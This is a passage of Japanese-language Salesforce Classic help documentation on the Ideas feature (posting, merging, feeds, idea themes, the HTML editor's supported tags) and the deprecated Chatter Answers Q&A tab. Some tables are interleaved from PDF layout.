• アイデアに対する「作

成」

アイデアを編集する、ア
イデアに対するコメント
を編集する
• アイデアに対する「編

集」

[最近の活動] ページには、ゾーンへの参加に関する最近の活動の概要がすべて含
まれています。[最近の活動] ページを表示するには、[アイデア] タブに移動し、
ページ右側にある自分の [ニックネーム] リンクをクリックします。他のゾーン
メンバーの [最近の活動] ページを表示するには、投稿されているアイデアやコ
メントの下に表示されるコミュニティメンバーの名前をクリックします。[ゾー
ン] リストからゾーンを選択すると、アクセス権を持つ異なるゾーンの活動を
表示できます。
[最近の活動] ページでは、次のアイコンを使用して、さまざまな種別の活動が識
別されます。
• は、自分が登録したアイデアを示します。
• は、自分が投票したアイデアを示します。
• は、自分がアイデアに対して投稿したコメントと、自分のアイデアに対し

て他のユーザが投稿したコメントを示します。
詳細は、[最近の活動] ページの左側にある次のリンクをクリックしてください。
• [登録したアイデア] には、このゾーンに自分が投稿したアイデアが表示され

ます。最も最近のアイデアが先頭に表示されます。
• [投票したアイデア] には、自分が昇格または降格させたこのゾーン内のアイ

デアが表示されます。
• [最近の応答] には、自分のアイデアそれぞれに対して投稿された最も最近の

コメントと、自分が以前コメントした各アイデアに対して投稿された最も最
近のコメントが表示されます。このセクションは、他のコミュニティメン
バーの最近の活動を参照しているときには表示されません。
自分のアイデアやコメントへの最近の返信数をすばやく判断するには、[アイ
デア] タブの右上角にある最近の返信アイコン ( ) の横を見ます。このアイ
コンは、新しい返信を受け取った場合にのみ表示されます。

メモ: 独自の画像をアップロードしてデフォルト画像を置き換えることは
できません。

関連トピック:

アイデアの概要
アイデアの表示
アイデアの使用
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アイデアのシンジケーションフィードの登録

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

アイデアタブを参照する
• アイデアに対する「参

照」

アイデアを表示する、投
票する
• アイデアに対する「参

照」

アイデアを作成する、ア
イデアにコメントを追加
する
• アイデアに対する「作

成」

アイデアを編集する、ア
イデアに対するコメント
を編集する
• アイデアに対する「編

集」

シンジケーションフィードを使用すると、アイデア内の変更を登録し、外部
ニュースリーダーの更新を受信できるようになります。ユーザがアイデアシン
ジケーションフィードに登録するには、次の前提条件を満たす必要があります。
• アイデアは Force.com サイトを使用して公開する必要があります。
• [分類] 項目がアイデアで有効になっている必要があります。一部の組織に

ついては、この項目がデフォルトで有効になっています。
シンジケーションフィードを登録するには、次の Idea ページでフィードアイコ
ン ( ) をクリックします。
• [人気のあるアイデア] サブタブ
• [最近のアイデア] サブタブ
• [通算トップ] サブタブ
• [コメント] サブタブ

このフィードには、同じアイデアのものであっても個別にコメントが表示さ
れます。単一アイデアのコメントは [コメント] サブタブにまとめられ、その
アイデアの最新コメント数のみが表示されます。

• [最近の活動] ページ
特定のコミュニティメンバーが投稿したすべてのコメントを含むフィードを
登録するには、アイデアの下に表示されるコミュニティメンバーの名前また
は投稿したコメントをクリックします。コミュニティメンバーの [最近の活
動] ページのフィードアイコンをクリックします。別のコミュニティメンバー
の [最近の活動] ページを登録すると、フィードには、そのメンバーの最新の
コメントだけが表示され、他のユーザのコメントは表示されません。

メモ: 子アイデア (マスタアイデアと結合されたアイデア) はフィードには
表示されません。マスタアイデアのみが表示されます。

関連トピック:

アイデアの概要
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アイデアの投稿と編集

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

アイデアタブを参照する
• アイデアに対する「参

照」

アイデアを表示する、投
票する
• アイデアに対する「参

照」

アイデアを作成する、ア
イデアにコメントを追加
する
• アイデアに対する「作

成」

アイデアを編集する、ア
イデアに対するコメント
を編集する
• アイデアに対する「編

集」

アイデアの投稿
1. サイドバーの検索ボックスを使用して、自分のアイデアと同じ既存のアイデ

アがないかどうかを検索してください。こうすると、コミュニティ内で重複
するアイデア数を減らせます。自分のアイデアと同じ既存のアイデアが存在
しない場合は、次のステップに進みます。

2. 次のいずれかの方法で、新しいアイデアを作成します。
• [アイデア] タブで、ページ上部にある [コミュニティ] リストから該当する

コミュニティを選択し、[アイデアの投稿] をクリックします。
• アイデアリストビューから、[新規アイデア]をクリックし、コミュニティ

を選択してから [次へ] をクリックします。
• サイドバーの [新規作成] ドロップダウンリストから [アイデア] を選択

し、コミュニティを選択してから [次へ] をクリックします。

3. アイデアのテーマにアイデアを投稿する場合は、リストから 1 つを選択しま
す。コミュニティ内に存在するアイデアのテーマに対してのみ、アイデアを
投稿できます。

4. アイデアのタイトルを、255 文字以内で入力します。
タイトルを入力すると、Salesforceタイトルまたは説明に同じ単語を含むコミュ
ニティを検索し、アイデアが一致する上位 5 つのコミュニティを表示しま
す。これらのアイデアのいずれかが自分のアイデアと似ている場合、アイデ
アのタイトルをクリックすると、新しいウィンドウで詳細ページが開きま
す。詳細ページから、アイデアの説明を読み、コミュニティに重複するアイ
デアを投稿するのではなく、そのアイデアに投票することができます。自分
のアイデアと同じようなアイデアがリストにない場合、次の手順に進み、自
身独自のアイデアを投稿します。

5. 説明欄に、アイデアの詳細を入力します。
組織でアイデアの HTML エディタが有効になっていると、説明に HTML や参照
用のオンライン画像を含めることができます。HTML エディタが有効になって
いない場合は、テキストのみを使用します。

6. アイデアのカテゴリを 1 つ以上選択します。
7. システム管理者であれば、必要に応じてアイデアの状況を選択します。[状況]ドロップダウンリストは、

システム管理者にのみ表示されます。
8. システム管理者が有効化すると、アイデアに添付ファイルを追加できます。

• [参照] をクリックして、自分のコンピュータからファイルを見つけて添付します。
Microsoft® PowerPoint® プレゼンテーションや Excel® スプレッドシートから、Adobe® PDF ファイル、画像ファ
イル、音声ファイル、動画ファイルまで、サポートされるあらゆるファイル形式を添付できます。添付
ファイルの最大サイズは、所属する組織によって決まります。
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• 必要に応じて、ファイルのタイトルを入力します。タイトルを入力しないと、添付ファイルのタイトル
としてファイル名が表示されます。

9. [投稿] をクリックします。
新しいアイデアは、[最近のアイデア] サブタブの最上部に表示され、保存時に自分の投票 (昇格) が自動的に適
用されます。各投票は 10 ポイントに相当します。

ヒント: 次の記述のヒントを参考にして、他のユーザが読みやすく、理解しやすいアイデアにします。
• 完全な文章を使用します。
• できるだけ簡潔で直接的に表現します。
• スペルと句読点のチェックをします。

アイデアの編集
アイデアに対する「編集」権限を持っている場合は、既存のアイデアの詳細を編集できます。
1. [アイデア] タブで、アイデアのタイトルをクリックします。
2. [編集] をクリックします。
3. アイデアのタイトル、説明、カテゴリ、および状況 (システム管理者のみ) を適宜編集します。
4. 作業内容を保存するには、[適用] をクリックします。
アイデアの詳細の編集では、アイデアに対するコメントの編集はできません。

関連トピック:

アイデアの概要
アイデアの使用
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アイデアのマージ

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

複数のアイデアをマージ
する
• アイデアに対する「編

集」

概要
ゾーンに寄稿するユーザが多くなるほど、重複するアイデア数も増えていきま
す。アイデアが重複すると、投票やコメントが多くの類似したアイデアに分散
するため、フィードバックの測定が困難になります。この問題を解決する最善
の方法は、重複するアイデアをマージすることです。これで 1 つのアイデアが
マスタとなり、その他が子アイデアとなります。
アイデアのマージについては、次の点に注意してください。
• アイデアは、いったんマージすると分けることはできません。
• 子アイデアに属するすべての投票は、マスタアイデアに移行されます。同じ

コミュニティメンバーが 2 つのアイデアに投票して、それがマージされる
と、マスタアイデアへの投票のみが残り、子アイデアへの投票は破棄されま
す。

• ユーザは、マスタアイデアにのみ投票やコメントの追加ができます。
• 異なるゾーンのアイデアはマージできません。
• 親アイデアを削除すると、子アイデアもすべて自動的に削除されます。子ア

イデアを個々に削除することはできません。
• マスタアイデアは、子アイデアの状況とカテゴリの値を継承しません。
• アイデアがマージされて子アイデアになると、その子アイデアは [登録したアイデア] ページには表示され

たままですが、ゾーンメンバーの [最近の活動] のどのページにも表示されなくなります。
• マージされたアイデアは、[アイデアのテーマ] の詳細ページにある登録されたアイデアのリストには表示

されず、[登録したアイデア] 項目にもカウントされません。
• 子アイデアをマージすると、[アイデアのテーマ] 項目を編集できなくなります。
• マージされた子アイデアは、ユーザの [最近の活動] ページにある [登録したアイデア] リストからアイデア

を登録したユーザには引き続き表示されます。

アイデアのマージ
重複するアイデアを探してマージする手順は、次のとおりです。
1. [アイデア] タブで、マージするアイデアのタイトルをクリックします。
2. アイデアの詳細ページで、[重複の検索]をクリックします。Salesforceはゾーン内のすべてのアイデアを検索

し、現在のアイデアのタイトルに最も近いタイトルを持つアイデアを 5 件表示します。
3. [重複の可能性] リストにマージするアイデアがない場合は、[重複の検索] 項目にキーワードを入力し、[検

索] をクリックします。Salesforce に、重複の可能性があるアイデアの新しい一覧が表示されます。
4. [重複の可能性] リストから、マージするアイデアを選択します。

重複の可能性があるアイデアの詳細を表示するには、アイデアのタイトルをクリックします。検索結果に
戻るには、ブラウザの [戻る] ボタンを使用します。

5. [現在のアイデアとマージ] をクリックします。
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6. マスタアイデアにするアイデアを選択し、[マージ] をクリックします。
7. [OK] をクリックすると、マージが完了します。

アイデア使用のヒント

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

アイデアに対する「参照」アイデアタブを参照する

アイデアに対する「参照」アイデアを表示する、投票する

アイデアに対する「作成」アイデアを作成する、アイデアにコメン
トを追加する

アイデアに対する「編集」アイデアを編集する、アイデアに対する
コメントを編集する

「アプリケーションのカスタマイズ」コミュニティを作成する

アイデアを設定して使用するときは、次の点に留意してください。
• アイデアでの活動を監視するために、次のことができます。

– 1 つのアイデアに寄せられたコメントの数に基づいて、ワークフロールールやトリガを作成する。1 つ
のアイデアへの投票総数や投票数に基づいてワークフロールールやトリガを作成することはできませ
ん。[アイデア] オブジェクトが更新されるときにコメントを挿入または削除するトリガも作成できませ
ん。

– 1 つのアイデアの投票スコアまたはコメント数に基づいてカスタムレポートを作成する。
• アイデアやコメントを投稿するとき、アイデアの説明またはコメントの項目に URL を含めることができま

すが、アイデアにファイルを添付したり、メモを追加したりすることはできません。
• 主従関係はサポートされません。
• アイデアでは、ワークフロー ToDo、アウトバウンドメッセージ、および承認はサポートされていません。
• アイデアでは、カスタムリンクはサポートされません。
• アイデアの詳細ページには、関連リストは表示されません。
• データエクスポート機能では、削除されたアイデアと削除されたコメントを除いて、アイデアデータをす

べてアーカイブします。
• アイデアの活動や行動は作成できません。
• アイデアの標準項目またはカスタム項目を使用する場合、次の点に注意してください。

– 履歴管理はサポートされません。
– 項目の連動関係と積み上げ集計項目はサポートされません。
– 数式項目でコミュニティオブジェクトを使用できません。

HTML エディタ使用のヒント
HTML エディタには WYSIWYG HTML 編集機能があり、次の操作を実行できます。
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• 画像
• ハイパーリンクの挿入
• 段落の配置の変更
• 箇条書きや番号付き箇条書きの作成

実装のヒント
• HTML エディタに入力する HTML タグは、ユーザにはテキストとして表示されます。
• 関連リスト、検索結果、および詳細のフロート表示では、Salesforceは HTML の書式設定や画像を含むテキス

トは表示しません。
• ユーザがハイパーリンクをクリックすると、新しいブラウザウィンドウで開きます。HTML エディタでは、

HTTP、HTTPS、そして mailto ハイパーリンクをサポートします。
• 画像を挿入するには、 をクリックし、画像ファイルを参照するか、画像の Web アドレスを指定します。

説明を入力します。これは、ユーザが画像の上にカーソルを置いたとき、また画像を使用できない場合に
表示されます。画像には、Salesforce がアクセスできる URL を含める必要があります。

• 画像は、リストビューとレポートには表示されません。
• HTML エディタの個々の機能は無効にできません。たとえば、ハイパーリンク機能や画像機能を無効にでき

ません。
• HTML エディタは、Salesforce でサポートされるすべての言語をサポートします。
• セキュリティ上の理由から、HTML エディタで使用できるタグと属性は、「サポートされる HTML タグと属

性」 (ページ2725)でリストされたものに限られます。Salesforceでは、アイデアの説明やコメントを保存する
ときに、サポート対象外のタグと属性を自動的に削除します。Salesforceは、潜在的に悪意のある HTML も削
除します。Salesforce は、サポート対象外の HTML や潜在的に悪意のある HTML を削除しても、ユーザには通
知しません。

• HTML エディタは、JavaScript やカスケードスタイルシート (CSS) をサポートしません。

サポートされる HTML タグと属性
HTML エディタでは、次のタグをサポートします。

<q><dt><a>

<samp><em><abbr>

<small><font><acronym>

<span><h1><address>

<strike><h2><b>

<strong><h3><bdo>

<sub><h4><big>

<sup><h5><blockquote>

<table><h6><br>
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<tbody><hr><caption>

<td><i><cite>

<tfoot><img><code>

<th><ins><col>

<thead><kbd><colgroup>

<tr><li><dd>

<tt><ol><del>

<ul><p><dfn>

<var><pre><div>

<dl>

これらのタグには属性を含めることができます。

sizefacealt

srcheightbackground

stylehrefborder

targetnameclass

widthrowspancolspan

上記の属性には、特定の文字列で始まる URL を含めることができます。
• http:

• https:

• file:

• ftp:

• mailto:

• #

• /  (相対リンクの場合)

アイデアでの HTML エディタの有効化
HTML エディタは、ほとんどの組織でデフォルトで有効になっています。組織で HTML エディタが有効になって
いない場合、「アイデアの設定のカスタマイズ」 (ページ 2942)で説明したように、システム管理者が有効化で
きます。

警告:  HTML エディタいったん有効にすると、無効にはできません。

HTML エディタを有効にする前に、次の点に注意してください。
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• HTML 形式のアイデアの説明それぞれの最大サイズは 32 KB です。各コメントの最大サイズは 4 KB です。
• HTML エディタを使用してアイデアの説明やコメントをテキスト形式で編集して保存すると、Salesforce はそ

の説明やコメントを HTML 形式で保存します。
• リストビューと検索結果では、Salesforceはアイデアの説明またはコメントの最初の 255 文字のみを表示しま

す。この文字数には、HTML タグも含まれます。

関連トピック:

アイデアの概要
アイデアの使用
アイデアに対するコメント
アイデアの投稿と編集

アイデアのテーマ

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

アイデアのテーマを使用して特定のトピックに関するアイデアを投稿するよう
にコミュニティメンバーを招待すれば、メンバーが問題を解決したり、会社の
革新を提案したりできるようになります。たとえば、コミュニティを巻き込ん
で新製品の発売を盛り上げるために、協力して製品の名前を考えるようにメン
バーに依頼できます。コミュニティメンバーは協力し合って、アイデアをアイ
デアのテーマに追加します。コミュニティメンバーが互いのアイデアに投票お
よびコメントして、最終的に勝者が決定するまで活動を観察できます。
アイデアのテーマを作成すると、写真、動画、その他のマルチメディアコンテ
ンツをショーケースに追加したり、コミュニティに提示したアイデアを説明し
たりできます。また、アイデアのテーマに投稿されたアイデアのリストを表示
したり、管理したりすることもできます。
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関連トピック:

アイデアのテーマの作成と編集
アイデアのテーマの使用
アイデアのテーマの管理

アイデアのテーマの使用

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

[アイデアのテーマ]タブを
表示する
• アイデアのテーマに対

する「参照」

アイデアのテーマを作成
する
• アイデアに対する「作

成」

リストからテーマの参照、検索、モデレート、作成を行うには、[アイデアのテー
マ] タブをクリックします。
• [新規ビューの作成] をクリックして、独自のカスタムリストビューを定義す

る。作成したビューを編集または削除するには、[ビュー] ドロップダウンリ
ストから選択し、[編集] をクリックします。組織に複数のコミュニティがあ
る場合は、ビューに [コミュニティ] を追加して、各アイデアのテーマに関
連付けられているコミュニティの名前を参照できるようにすることをお勧め
します。[ゾーン]項目をビューに追加すると、複数のゾーンを管理するのに
も役立ちます。

• [アイデアのテーマ] リストビューページで [新しいアイデアのテーマ] をク
リックするか、[アイデアのテーマ] 概要ページの [最近のアイデアのテーマ]

リストで [新規] をクリックして新しいアイデアのテーマを作成する。
• をクリックして、更新されたリストを更新する。
• [編集]または[削除]をクリックしてアイデアのテーマを編集または削除する。
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メモ: アイデアのテーマを削除すると、関連付けられたアイデアも削除されます。反対に、アイデア
のテーマを復元すると、関連付けられたアイデアも復元されます。

関連トピック:

アイデアのテーマの作成と編集
アイデアのテーマ
アイデアのテーマの管理

アイデアのテーマの作成と編集

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

[アイデアのテーマ] タブを
表示する
• アイデアのテーマに対

する「参照」

アイデアのテーマを作成
する
• アイデアに対する「作

成」

[アイデアのテーマ]タブは、アプリケーションとコンソールの両方で、自分が管
理するコミュニティのアイデアのテーマの作成と編集に使用できます。
1. [アイデアのテーマ]リストビューページで[新しいアイデアのテーマ]をクリッ

クするか、[アイデアのテーマ] 概要ページの [最近のアイデアのテーマ] リス
トで [新規] をクリックします。

2. アイデアのテーマのゾーンを選択し、[次へ] をクリックします。
3. アイデアのテーマの [状況] を選択します。
4. テーマのカテゴリを選択します。
5. アイデアのテーマのタイトルを追加します。
6. 必要に応じて、テーマの説明を入力します。

テキストを書式設定したり、画像や動画を追加したりするには、HTML エディ
タを使用します。

7. [保存] をクリックします。

関連トピック:

アイデアのテーマ
アイデアのテーマの使用
アイデアのテーマの管理
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アイデアのテーマの管理

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

[アイデアのテーマ]タブを
表示する
• アイデアのテーマに対

する「参照」

アイデアのテーマを作成
および編集する
• アイデアに対する「作

成」

[アイデアのテーマ]詳細ページから、アイデアのテーマとその関連アイデアを管
理できます。システム管理者は、次の作業を実行できます。
• アイデアのテーマを[編集]、[削除]、または[コピー]する。
• アイデアのテーマに送信されたアイデアを[編集]または[削除]する。
• ゾーンのアイデアのテーマ間でアイデアを移動する。

この操作を行うには、アイデアの名前を編集します。これにより、アイデア
が現在のアイデアのテーマから削除され、異なるアイデアのテーマを選択で
きます。

• アイデアのテーマに送信されたアイデアの数を参照する。マージされたアイ
デアは、[アイデアのテーマ] の詳細ページにある登録されたアイデアのリス
トには表示されず、[登録したアイデア] 項目にもカウントされません。

• アイデアを作成し、取り組み中のアイデアのテーマに投稿する。

関連トピック:

アイデアのテーマの作成と編集
アイデアのテーマの使用
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Chatter アンサーの [Q&A] タブの使用

エディション

使用可能なエディション:
Salesforce Classic

Chatter アンサーを使用可
能なエディション:
Enterprise Edition、
Developer Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

質問を参照する
• 質問に対する「参照」

質問する、および質問に
返信する
• 質問に対する「作成」

ケースを参照する
• ケースに対する「参

照」

ケースを変更する
• ケースに対する「編

集」

メモ: Chatter アンサーは、Winter '18 以降すべての Salesforce組織で廃止が予定
されています。詳細は、「Chatter アンサーは Winter ’18 で廃止」を参照して
ください。Summer '16 以降、新規組織で Chatter アンサーは使用できません。
代わりに、Chatter の質問 (Chatter にシームレスに統合された Q&A 機能) を使
用できます。Chatter の質問を使用すれば、Chatter から移動せずに質問した
り、答えを検索したりできます。既存の組織は、Summer '16 より前に Chatter

アンサーを有効化していれば、今後 Winter '18 まで Chatter アンサーに引き続
きアクセスできます。

Chatter アンサーは、ユーザが質問を投稿して他のユーザやサポートエージェン
トから回答やコメントを受け取れる、セルフサービスのサポートコミュニティ
です。Chatter アンサーは、ケース、質問と回答、および Salesforce ナレッジの記
事を一元化します。
Chatter アンサーで、顧客は次のことを実行できます。
• [Q&A] タブを使用して質問を投稿、参照し、質問に返信する。
• 自分の質問と返信を削除する。
• スパム、悪質、または不適切として、質問や返信にフラグを付ける。
• 質問に回答があったとき、またはフォローしている質問の最良の回答が選ば

れたときにメールを受信する。
• オープンケースに関連する問題を解決するために、サポートエージェントと

公開または非公開のコラボレーションを行う。
• Salesforce ナレッジの記事を検索およびレビューする。
• 投稿や Salesforce ナレッジ記事と同様に、人気度の特定に役立てる。
• 自分のユーザプロファイルに写真をアップロードする。
• 他のユーザに最良の回答としてマークされた、他のユーザの投稿数や回答数を参照する。
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1. 検索: 顧客は、質問を投稿する前に既存の質問を検索できます。
2. 絞り込みと並び替え: コミュニティメンバーおよびサポートエージェントは、フィード内の質問にさまざま

な表示オプションを選択できます。
Chatter アンサーの [Q&A] タブの検索を次の条件に基づいて絞り込むことができます。
• [すべての質問] は、ゾーン内のすべての質問と、Salesforce ナレッジ記事 (有効な場合) を表示します。
• [未回答の質問] は、返信のない質問をすべて表示します。
• [未解決の質問] は、最良の回答がない質問をすべて表示します。
• [解決済みの質問] は、最良の回答がある質問すべてと、Salesforce ナレッジ記事 (有効な場合) を表示しま

す。
• [私の質問] は、自分がした質問と自分がフォローしている質問をすべて表示します。
表示された結果を次のオプションに基づいて並び替えることができます。
• [投稿日] は、質問された日時の新しい順に質問を並び替えます。
• [最近の活動] は、返信とコメントの新しい順に質問を並び替えます。
• [最も人気のある] は、いいね!、賛成票、フォローされている数の多い順に質問を並び替えます。

3. 質問: 顧客は、ヘルプが必要な質問をコミュニティに投稿できます。コミュニティの他のメンバーは、回答
を投稿したり、質問をフォローして以降の投稿に関するメール通知を受信したりできます。

4. カテゴリ別の参照: コミュニティでカテゴリが有効化されている場合、メンバーはカテゴリ名をクリックし
て、そのカテゴリに関連付けられた質問を表示できます。
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5. 評価: コミュニティメンバーはポイントや評価を獲得できます。これらはフィードで写真にマウスを置くと
表示されます。

6. コメント: コミュニティメンバーとサポートエージェントは質問にコメントし、顧客またはエージェントは
コメントを最良の回答として選択できます。

サービス組織は、Chatter アンサーを使用して次の操作を実行できます。
• 複数のコミュニティを作成し、異なるゾーンに整理する。各ゾーンには、独自のテーマおよび質問があり

ます。
• コミュニティにブランドを設定し、カスタマイズする。
• 顧客に公開または非公開で回答する機会をエージェントに与える。
• Apex のトリガとワークフロールールを使用して、質問からのケースの作成を自動化する。
• 参加によって顧客の問い合わせへの対応を変える。
• ユーザ統計を公開表示し、参加を促進する。
• 内部 Salesforce アプリケーションの [Q&A] タブまたはコミュニティから質問と回答をモデレートする。
顧客の質問は通常、次のいずれかのプロセスを使用して [Q&A] タブで回答されます。

Salesforce ナレッジ記事に
よって回答される質問

サポートエージェントに
よって回答される質問

コミュニティ内のメンバー
によって回答される質問

最良の回答のある類似し
た質問によって回答され
る質問

1. 顧客は Chatter アンサー
の [Q&A] タブに質問ま

1. 顧客は Chatter アンサー
の [Q&A] タブに質問ま

1. 顧客は Chatter アンサー
の [Q&A] タブに質問ま

1. 顧客は Chatter アンサー
の [Q&A] タブに質問ま
たはキーワードを入力 たはキーワードを入力たはキーワードを入力たはキーワードを入力
し、[質問を投稿] をク
リックします。

し、[質問を投稿] をク
リックします。

し、[質問を投稿] をク
リックします。

し、[質問を投稿] をク
リックします。

2. 最良の回答がある類似
した質問が検索結果に
表示されます。

2. 回答のある類似した
Salesforce ナレッジ記事
が検索結果に表示され
ます。

2. 検索結果に類似する質
問が表示されません。

2. 検索結果に類似する質
問が表示されません。

3. 3.顧客は引き続き質問の
説明を入力し、[コミュ

顧客は引き続き質問の
説明を入力し、[非公開3. 顧客はその質問を選択

し、回答を参照しま
す。
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Salesforce ナレッジ記事に
よって回答される質問

サポートエージェントに
よって回答される質問

コミュニティ内のメンバー
によって回答される質問

最良の回答のある類似し
た質問によって回答され
る質問

で担当者に投稿] をク
リックして非公開質問
を投稿します。

ニティに投稿]をクリッ
クして公開質問を投稿
します。

3. 顧客はその記事を選択
し、回答を参照しま
す。

4.4. 非公開質問は、ケース
に変換されます。

コミュニティメンバー
またはサポートエー
ジェントは質問を読ん 5. サポートエージェント

はケースを読んで非公でコメントを追加し、
顧客の質問に回答しま
す。

開コメントを追加し、
顧客の質問に回答しま
す。

関連トピック:

Chatter アンサー用語

Chatter アンサー用語

エディション

使用可能なエディション:
Salesforce Classic

Chatter アンサーを使用可
能なエディション:
Enterprise Edition、
Developer Edition、
Performance Edition、およ
び Unlimited Edition

メモ: Chatter アンサーは、Winter '18 以降すべての Salesforce組織で廃止が予定
されています。詳細は、「Chatter アンサーは Winter ’18 で廃止」を参照して
ください。Summer '16 以降、新規組織で Chatter アンサーは使用できません。
代わりに、Chatter の質問 (Chatter にシームレスに統合された Q&A 機能) を使
用できます。Chatter の質問を使用すれば、Chatter から移動せずに質問した
り、答えを検索したりできます。既存の組織は、Summer '16 より前に Chatter

アンサーを有効化していれば、今後 Winter '18 まで Chatter アンサーに引き続
きアクセスできます。

Chatter アンサーの特性と機能の説明に次の用語が使用されます。
アンサー

アンサーは、コミュニティアプリケーションの機能の 1 つです。この機能に
より、ユーザが質問したり、コミュニティメンバーが返信を投稿したりすることができます。コミュニティ
メンバーは、それぞれの回答の役立ち度について投票し、また質問したユーザは最良の回答として回答を
マークできます。

記事
記事には、知識ベースで入手できるようにする会社の商品およびサービスに関する情報が取り込まれます。

最良の回答
アンサーコミュニティのメンバーが質問し、他のコミュニティメンバーが回答を投稿すると、質問者は回
答のいずれかを最良の回答としてマークできます。最良の回答は、質問の真下 (その他の回答の上) に表示
されます。最良の回答を指定することにより、同じ質問のある他のコミュニティメンバーが関連性の最も
高く、役立つ情報をすぐに見つけることができます。
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フラグ
このアイコンをクリックすると、ユーザはその質問または返信がスパム、悪意がある、不適切であるとし
て報告できます。

フォローする
他のユーザが特定の質問に回答またはコメントした場合にメールを受信できる質問を登録することです。

いいね!

質問、回答、またはナレッジ記事への支持を示したり、それらの品質または実用性を示します。
人気

特定の時間内に [いいね!] と言った行ったユーザ数に基づく各質問の人気度。
質問

アンサーコミュニティに投稿された問題です。コミュニティメンバーが質問すると、他のコミュニティメ
ンバーが質問の解決に役立つ回答を投稿します。

質問、非公開
アンサーコミュニティに投稿されたけれども [非公開] とマークされている問題です。サポートエージェン
トのみが参照および回答できます。

返信
アンサーコミュニティの質問に対する回答です。コミュニティメンバーが質問に対して回答すると、質問
したメンバーは、いずれかの回答を質問を解決するための最良の回答としてマークできます。

トピック
顧客が質問および返信を参照できるデータカテゴリをリストするサイドバーです。たとえば、ハードウェ
ア製品に関するゾーンがある場合、トピックにはラップトップ、デスクトップ、プリンタがあります。

投票、回答
アンサーコミュニティで、投票は質問に対する回答が参考になったかどうかを示します。

ゾーン
ゾーンでは、アイデアおよび質問を論理グループに整理します。ゾーンには、それぞれ独自のテーマ、固
有のアイデアや質問があります。

関連トピック:

Chatter アンサーの [Q&A] タブの使用
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Chatter アンサーの使用

エディション

使用可能なエディション:
Salesforce Classic

Chatter アンサーを使用可
能なエディション:
Enterprise Edition、
Developer Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

質問に対する「参照」質問を参照する

質問に対する「作成」質問する、および質問に返信する

ケースに対する「参照」ケースを参照する

ケースに対する「編集」ケースを変更する

「セルフサービスユーザの編集」Chatter アンサー (カスタマーポータル)
ユーザを管理する

取引先に対する「参照」非公開質問する

メモ: Chatter アンサーは、Winter '18 以降すべてのSalesforce組織で廃止が予定されています。詳細は、「Chatter

アンサーは Winter ’18 で廃止」を参照してください。Summer '16 以降、新規組織で Chatter アンサーは使用で
きません。代わりに、Chatter の質問 (Chatter にシームレスに統合された Q&A 機能) を使用できます。Chatter

の質問を使用すれば、Chatter から移動せずに質問したり、答えを検索したりできます。既存の組織は、
Summer '16 より前に Chatter アンサーを有効化していれば、今後 Winter '18 まで Chatter アンサーに引き続きア
クセスできます。

Chatter アンサーでは、ゾーンの顧客が作成する質問およびケースを処理できます。顧客がゾーンに質問を投稿
すると、自分または他の顧客が返信できます。質問は [非公開] とマークされるか、システム管理者が指定し
た時間が経過すると、ケースに変換されます。
Chatter アンサーでは、次のことができます。
• ケースに変換された質問に返信します。
• [ケース発生源] で絞り込むことにより、質問から変換されたケースのカスタムビューを作成します。
• プロファイルに写真をアップロードすると、顧客があなたがどのような人かを知ることができます。
• 基本的にはカスタマーポータルユーザである Chatter アンサーユーザと連携します。
• Chatter アンサーユーザ機能ライセンスをセルフ登録していないポータルユーザに割り当て、これらのユー

ザがコミュニティにアクセスできるようにします。
• [Q&A] タブでは、質問をモデレートしたり、次のことを実行したりできます。

– 質問リストを確認する。
– 質問に回答したり、質問に返信を追加したりする。
– 質問をケースにエスカレーションする。
– 質問または返信を削除する。
– 質問の最良の回答を選択する。
– 有益な返信を Salesforce ナレッジ記事に昇格する。

メモ: [Q&A] タブで公開質問を確認できるようにサポートエージェントを割り当てることをお勧めします。
エージェントはスパム、悪意があるまたは不適切な質問または返信の横にある [フラグ] をクリックする
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ことはできません。ただし、エージェントに質問に対する「削除」権限がある場合は、[Q&A] タブで質問
または返信を編集したりゾーンから削除したりできます。

ヒント: 多くの質問をすばやくモデレートするため、サポートエージェントはSalesforce コンソールの固定
表示リストから質問を確認することをお勧めします。これには、コンソールのナビゲーションタブに [Q&A]

タブを追加する必要があります。

関連トピック:

Chatter アンサーの [Q&A] タブの使用
Chatter アンサー用語

質問ホームページ

エディション

使用可能なエディション:
Salesforce Classic

アンサーを使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

ユーザ権限

質問に対する「参照」[質問] タブを参照する

質問に対する「作成」質問する、および質問に返信する

質問に対する「削除」質問および返信を削除する

ケースに対する「作成」質問をケースにエスカレーションする

質問に対する「編集」質問を編集する

メモ: Winter '18 リリース時点で、アンサーはすべての Salesforce 組織で廃止される予定です。詳細は、
「Chatter アンサーは Winter ’18 で廃止」を参照してください。Summer '13 リリース以降、新しい組織ではア
ンサーを使用できません。代わりに、Chatter の質問 (Chatterにシームレスに統合された Q&A 機能) を使用で
きます。Chatter の質問を使用すれば、Chatterから移動せずに質問したり、答えを検索したりできます。既
存の組織は、Summer '13 より前のリリースで有効化されていれば Winter '18 までアンサーに引き続きアクセ
スできます。

[質問] タブを使用すると、リストの質問の参照、検索、絞り込み、モデレート、および作成を行うことができ
ます。
• 質問を検索するには、[すべての質問を検索] ボックスに質問を 2 文字以上で入力する。入力すると、検索語

に一致する質問が表示されます。
